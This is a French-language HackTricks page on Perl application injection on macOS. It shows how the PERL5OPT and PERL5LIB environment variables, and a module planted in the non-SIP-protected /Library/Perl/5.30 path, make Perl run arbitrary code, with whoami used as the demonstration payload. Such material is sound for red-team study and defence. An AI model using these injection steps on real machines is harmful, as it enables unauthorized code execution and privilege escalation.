Injection d'applications Perl sur macOS
Reading time: 3 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Via la variable d'environnement PERL5OPT
& PERL5LIB
En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par perl.
Par exemple, créez ce script :
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Maintenant exportez la variable d'environnement et exécutez le script perl :
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Une autre option est de créer un module Perl (par exemple, /tmp/pmod.pm
) :
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
Et ensuite utilisez les variables d'environnement :
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Via dependencies
Il est possible de lister l'ordre du dossier des dépendances de Perl en cours d'exécution :
perl -e 'print join("\n", @INC)'
Ce qui renverra quelque chose comme :
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Certaines des dossiers retournĂ©s n'existent mĂȘme pas, cependant, /Library/Perl/5.30
existe, il n'est pas protégé par SIP et il est avant les dossiers protégés par SIP. Par conséquent, quelqu'un pourrait abuser de ce dossier pour y ajouter des dépendances de script afin qu'un script Perl à privilÚges élevés le charge.
warning
Cependant, notez que vous devez ĂȘtre root pour Ă©crire dans ce dossier et de nos jours, vous obtiendrez cette invite TCC :
.png)
Par exemple, si un script importe use File::Basename;
, il serait possible de créer /Library/Perl/5.30/File/Basename.pm
pour exécuter du code arbitraire.
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.